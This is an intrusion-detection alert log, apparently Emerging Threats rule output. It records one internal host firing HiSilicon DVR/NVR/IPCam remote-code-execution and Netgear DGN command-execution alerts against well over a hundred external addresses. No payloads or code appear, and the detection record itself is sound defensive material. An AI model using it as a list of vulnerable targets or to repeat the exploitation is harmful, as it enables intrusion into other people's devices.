05/16/24-16:39:02.727963	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59362	9530	192.168.2.23	94.75.144.149
05/16/24-16:39:02.727963	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59362	9530	192.168.2.23	94.75.144.149
05/16/24-16:39:14.492400	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48968	9530	192.168.2.23	223.78.135.179
05/16/24-16:39:14.492400	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48968	9530	192.168.2.23	223.78.135.179
05/16/24-16:39:02.744322	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47212	9530	192.168.2.23	142.82.13.202
05/16/24-16:38:57.304889	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58110	9530	192.168.2.23	117.81.47.244
05/16/24-16:39:02.744322	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47212	9530	192.168.2.23	142.82.13.202
05/16/24-16:39:05.699955	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50224	9530	192.168.2.23	187.222.192.168
05/16/24-16:38:57.304889	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58110	9530	192.168.2.23	117.81.47.244
05/16/24-16:39:14.493475	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35432	9530	192.168.2.23	98.251.180.139
05/16/24-16:39:14.493475	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35432	9530	192.168.2.23	98.251.180.139
05/16/24-16:38:55.226358	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34096	9530	192.168.2.23	200.12.149.11
05/16/24-16:38:55.226358	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34096	9530	192.168.2.23	200.12.149.11
05/16/24-16:39:16.598408	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38776	9530	192.168.2.23	151.127.154.174
05/16/24-16:39:16.598408	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38776	9530	192.168.2.23	151.127.154.174
05/16/24-16:39:12.298260	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49106	9530	192.168.2.23	64.185.43.245
05/16/24-16:39:12.298260	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49106	9530	192.168.2.23	64.185.43.245
05/16/24-16:38:57.446030	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36918	9530	192.168.2.23	39.17.171.68
05/16/24-16:38:57.446030	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36918	9530	192.168.2.23	39.17.171.68
05/16/24-16:39:05.676875	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41318	9530	192.168.2.23	124.10.88.100
05/16/24-16:39:05.676875	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41318	9530	192.168.2.23	124.10.88.100
05/16/24-16:39:05.699955	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50224	9530	192.168.2.23	187.222.192.168
05/16/24-16:38:55.208905	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52164	9530	192.168.2.23	17.211.10.201
05/16/24-16:38:55.208905	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52164	9530	192.168.2.23	17.211.10.201
05/16/24-16:39:08.041719	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56438	9530	192.168.2.23	176.77.195.90
05/16/24-16:38:57.435650	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41804	9530	192.168.2.23	144.24.104.137
05/16/24-16:39:08.041719	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56438	9530	192.168.2.23	176.77.195.90
05/16/24-16:39:05.677907	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39156	9530	192.168.2.23	212.163.152.36
05/16/24-16:38:53.069358	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60710	9530	192.168.2.23	201.137.138.135
05/16/24-16:39:05.677907	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39156	9530	192.168.2.23	212.163.152.36
05/16/24-16:38:53.069358	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60710	9530	192.168.2.23	201.137.138.135
05/16/24-16:38:57.435650	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41804	9530	192.168.2.23	144.24.104.137
05/16/24-16:39:08.145048	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43488	9530	192.168.2.23	38.34.18.107
05/16/24-16:38:53.064446	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56560	9530	192.168.2.23	181.111.102.204
05/16/24-16:38:59.609929	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60702	9530	192.168.2.23	83.254.29.62
05/16/24-16:39:08.145048	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43488	9530	192.168.2.23	38.34.18.107
05/16/24-16:38:59.609929	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60702	9530	192.168.2.23	83.254.29.62
05/16/24-16:38:53.064446	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56560	9530	192.168.2.23	181.111.102.204
05/16/24-16:39:03.265883	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55114	9530	192.168.2.23	31.58.67.11
05/16/24-16:39:05.705327	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53936	9530	192.168.2.23	71.95.243.113
05/16/24-16:39:03.265883	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55114	9530	192.168.2.23	31.58.67.11
05/16/24-16:39:05.705327	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53936	9530	192.168.2.23	71.95.243.113
05/16/24-16:39:16.585475	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39338	9530	192.168.2.23	37.254.139.180
05/16/24-16:39:16.585475	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39338	9530	192.168.2.23	37.254.139.180
05/16/24-16:38:53.094104	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53578	9530	192.168.2.23	4.114.169.224
05/16/24-16:38:53.094104	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53578	9530	192.168.2.23	4.114.169.224
05/16/24-16:39:02.725501	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35866	9530	192.168.2.23	206.248.19.234
05/16/24-16:39:02.725501	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35866	9530	192.168.2.23	206.248.19.234
05/16/24-16:39:14.532767	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51674	9530	192.168.2.23	73.183.217.220
05/16/24-16:39:14.532767	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51674	9530	192.168.2.23	73.183.217.220
05/16/24-16:39:05.675949	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34962	9530	192.168.2.23	114.222.174.236
05/16/24-16:39:05.675949	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34962	9530	192.168.2.23	114.222.174.236
05/16/24-16:38:55.192594	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34056	9530	192.168.2.23	4.248.104.198
05/16/24-16:38:55.174990	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48414	9530	192.168.2.23	101.67.212.12
05/16/24-16:38:55.192594	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34056	9530	192.168.2.23	4.248.104.198
05/16/24-16:38:55.174990	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48414	9530	192.168.2.23	101.67.212.12
05/16/24-16:39:12.298264	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43444	9530	192.168.2.23	199.136.170.219
05/16/24-16:39:12.298264	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43444	9530	192.168.2.23	199.136.170.219
05/16/24-16:39:16.580836	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59996	9530	192.168.2.23	119.135.139.141
05/16/24-16:39:16.580836	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59996	9530	192.168.2.23	119.135.139.141
05/16/24-16:39:16.615094	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36722	9530	192.168.2.23	65.249.63.120
05/16/24-16:39:16.614324	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48636	9530	192.168.2.23	150.77.204.214
05/16/24-16:39:16.615094	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36722	9530	192.168.2.23	65.249.63.120
05/16/24-16:39:02.744451	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47798	9530	192.168.2.23	32.189.143.28
05/16/24-16:38:57.435559	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50560	9530	192.168.2.23	12.237.32.185
05/16/24-16:39:16.614324	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48636	9530	192.168.2.23	150.77.204.214
05/16/24-16:38:57.435559	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50560	9530	192.168.2.23	12.237.32.185
05/16/24-16:39:03.256881	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39044	9530	192.168.2.23	186.39.175.75
05/16/24-16:39:02.748827	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54294	9530	192.168.2.23	221.241.227.222
05/16/24-16:39:02.748827	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54294	9530	192.168.2.23	221.241.227.222
05/16/24-16:38:59.518410	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36824	9530	192.168.2.23	146.85.230.201
05/16/24-16:38:59.518410	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36824	9530	192.168.2.23	146.85.230.201
05/16/24-16:39:05.706165	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53366	9530	192.168.2.23	117.179.255.3
05/16/24-16:39:05.706165	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53366	9530	192.168.2.23	117.179.255.3
05/16/24-16:39:05.702452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44276	9530	192.168.2.23	188.92.150.229
05/16/24-16:39:05.702452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44276	9530	192.168.2.23	188.92.150.229
05/16/24-16:39:05.512197	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	34372	80	192.168.2.23	1.213.162.54
05/16/24-16:38:53.094055	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41086	9530	192.168.2.23	72.126.107.249
05/16/24-16:38:50.065118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37640	9530	192.168.2.23	188.1.70.241
05/16/24-16:39:13.661858	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	37620	80	192.168.2.23	173.127.104.48
05/16/24-16:38:50.065118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37640	9530	192.168.2.23	188.1.70.241
05/16/24-16:38:55.175105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50730	9530	192.168.2.23	126.123.234.101
05/16/24-16:38:55.175105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50730	9530	192.168.2.23	126.123.234.101
05/16/24-16:38:59.609939	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52900	9530	192.168.2.23	135.129.120.210
05/16/24-16:38:59.609939	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52900	9530	192.168.2.23	135.129.120.210
05/16/24-16:38:59.560255	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38722	9530	192.168.2.23	107.155.8.171
05/16/24-16:38:55.175060	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57092	9530	192.168.2.23	189.22.38.7
05/16/24-16:38:55.175060	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57092	9530	192.168.2.23	189.22.38.7
05/16/24-16:38:59.560255	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38722	9530	192.168.2.23	107.155.8.171
05/16/24-16:39:03.260012	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43304	9530	192.168.2.23	66.166.237.181
05/16/24-16:39:03.260012	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43304	9530	192.168.2.23	66.166.237.181
05/16/24-16:39:02.726887	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38384	9530	192.168.2.23	84.42.80.23
05/16/24-16:39:02.726887	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38384	9530	192.168.2.23	84.42.80.23
05/16/24-16:39:05.679593	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37122	9530	192.168.2.23	108.238.12.172
05/16/24-16:39:05.679593	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37122	9530	192.168.2.23	108.238.12.172
05/16/24-16:39:05.709461	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37676	9530	192.168.2.23	154.162.188.93
05/16/24-16:39:05.709461	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37676	9530	192.168.2.23	154.162.188.93
05/16/24-16:39:03.256881	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39044	9530	192.168.2.23	186.39.175.75
05/16/24-16:39:14.523127	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52890	9530	192.168.2.23	73.189.113.196
05/16/24-16:39:02.744451	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47798	9530	192.168.2.23	32.189.143.28
05/16/24-16:39:14.523127	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52890	9530	192.168.2.23	73.189.113.196
05/16/24-16:38:53.094055	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41086	9530	192.168.2.23	72.126.107.249
05/16/24-16:39:08.127304	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38044	9530	192.168.2.23	68.64.11.81
05/16/24-16:39:05.698774	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43538	9530	192.168.2.23	43.94.120.44
05/16/24-16:39:05.698774	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43538	9530	192.168.2.23	43.94.120.44
05/16/24-16:39:08.127304	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38044	9530	192.168.2.23	68.64.11.81
05/16/24-16:39:02.767203	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38904	9530	192.168.2.23	207.167.245.22
05/16/24-16:39:14.532754	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51626	9530	192.168.2.23	135.203.91.4
05/16/24-16:38:55.199149	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34026	9530	192.168.2.23	183.180.251.247
05/16/24-16:39:14.532754	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51626	9530	192.168.2.23	135.203.91.4
05/16/24-16:38:55.199149	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34026	9530	192.168.2.23	183.180.251.247
05/16/24-16:39:02.767203	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38904	9530	192.168.2.23	207.167.245.22
05/16/24-16:38:53.011516	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52612	9530	192.168.2.23	155.244.222.188
05/16/24-16:38:53.011516	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52612	9530	192.168.2.23	155.244.222.188
05/16/24-16:38:50.076332	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39582	9530	192.168.2.23	27.81.179.231
05/16/24-16:38:50.076332	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39582	9530	192.168.2.23	27.81.179.231
05/16/24-16:39:14.528249	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42300	9530	192.168.2.23	91.19.137.98
05/16/24-16:39:14.528249	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42300	9530	192.168.2.23	91.19.137.98
05/16/24-16:39:14.494664	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37538	9530	192.168.2.23	23.179.240.58
05/16/24-16:39:14.494664	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37538	9530	192.168.2.23	23.179.240.58
05/16/24-16:39:16.579838	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60104	9530	192.168.2.23	77.163.47.85
05/16/24-16:39:16.579838	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60104	9530	192.168.2.23	77.163.47.85
05/16/24-16:38:55.226766	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53626	9530	192.168.2.23	108.199.199.223
05/16/24-16:38:55.226766	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53626	9530	192.168.2.23	108.199.199.223
05/16/24-16:39:12.295482	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44526	9530	192.168.2.23	203.208.221.226
05/16/24-16:39:12.295482	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44526	9530	192.168.2.23	203.208.221.226
05/16/24-16:39:16.604230	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52840	9530	192.168.2.23	50.155.206.64
05/16/24-16:39:16.604230	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52840	9530	192.168.2.23	50.155.206.64
05/16/24-16:38:50.048920	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46022	9530	192.168.2.23	200.192.114.75
05/16/24-16:38:50.048920	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46022	9530	192.168.2.23	200.192.114.75
05/16/24-16:39:03.260977	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55788	9530	192.168.2.23	1.58.6.57
05/16/24-16:39:03.260977	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55788	9530	192.168.2.23	1.58.6.57
05/16/24-16:39:16.580486	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60704	9530	192.168.2.23	25.159.53.25
05/16/24-16:39:16.580486	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60704	9530	192.168.2.23	25.159.53.25
05/16/24-16:39:14.494635	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35132	9530	192.168.2.23	201.249.186.86
05/16/24-16:39:14.494635	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35132	9530	192.168.2.23	201.249.186.86
05/16/24-16:38:53.011197	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43400	9530	192.168.2.23	184.239.3.224
05/16/24-16:38:53.011197	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43400	9530	192.168.2.23	184.239.3.224
05/16/24-16:39:05.677884	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37780	9530	192.168.2.23	142.140.24.228
05/16/24-16:39:05.677884	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37780	9530	192.168.2.23	142.140.24.228
05/16/24-16:39:12.380114	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51202	9530	192.168.2.23	154.88.162.40
05/16/24-16:39:12.380114	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51202	9530	192.168.2.23	154.88.162.40
05/16/24-16:39:16.607331	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60748	9530	192.168.2.23	149.72.112.112
05/16/24-16:39:16.607331	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60748	9530	192.168.2.23	149.72.112.112
05/16/24-16:38:53.011381	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56704	9530	192.168.2.23	34.2.32.188
05/16/24-16:38:53.011381	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56704	9530	192.168.2.23	34.2.32.188
05/16/24-16:39:08.041386	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35200	9530	192.168.2.23	128.98.159.1
05/16/24-16:39:16.581452	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48088	9530	192.168.2.23	187.15.237.177
05/16/24-16:39:16.581452	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48088	9530	192.168.2.23	187.15.237.177
05/16/24-16:39:08.041386	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35200	9530	192.168.2.23	128.98.159.1
05/16/24-16:39:14.507694	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43772	9530	192.168.2.23	100.51.156.157
05/16/24-16:39:16.600084	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52236	9530	192.168.2.23	143.251.125.82
05/16/24-16:39:14.507694	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43772	9530	192.168.2.23	100.51.156.157
05/16/24-16:39:16.600084	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52236	9530	192.168.2.23	143.251.125.82
05/16/24-16:39:12.382150	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54468	9530	192.168.2.23	76.168.157.247
05/16/24-16:39:12.382150	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54468	9530	192.168.2.23	76.168.157.247
05/16/24-16:38:57.303499	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47928	9530	192.168.2.23	193.186.204.186
05/16/24-16:38:57.303499	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47928	9530	192.168.2.23	193.186.204.186
05/16/24-16:39:16.612691	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40772	9530	192.168.2.23	1.68.210.45
05/16/24-16:39:16.612691	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40772	9530	192.168.2.23	1.68.210.45
05/16/24-16:39:02.725525	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49970	9530	192.168.2.23	40.206.39.174
05/16/24-16:39:05.678386	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39312	9530	192.168.2.23	137.248.106.208
05/16/24-16:39:02.725525	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49970	9530	192.168.2.23	40.206.39.174
05/16/24-16:39:05.676333	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34328	9530	192.168.2.23	179.107.5.141
05/16/24-16:39:05.675874	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43744	9530	192.168.2.23	14.131.200.88
05/16/24-16:39:05.678386	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39312	9530	192.168.2.23	137.248.106.208
05/16/24-16:39:05.675874	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43744	9530	192.168.2.23	14.131.200.88
05/16/24-16:38:50.047590	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45988	9530	192.168.2.23	188.164.221.214
05/16/24-16:39:12.298252	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50644	9530	192.168.2.23	108.126.183.13
05/16/24-16:39:12.298252	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50644	9530	192.168.2.23	108.126.183.13
05/16/24-16:39:05.676333	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34328	9530	192.168.2.23	179.107.5.141
05/16/24-16:39:08.092922	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57594	9530	192.168.2.23	53.104.53.246
05/16/24-16:39:08.092922	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57594	9530	192.168.2.23	53.104.53.246
05/16/24-16:39:08.146554	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59744	9530	192.168.2.23	175.126.14.38
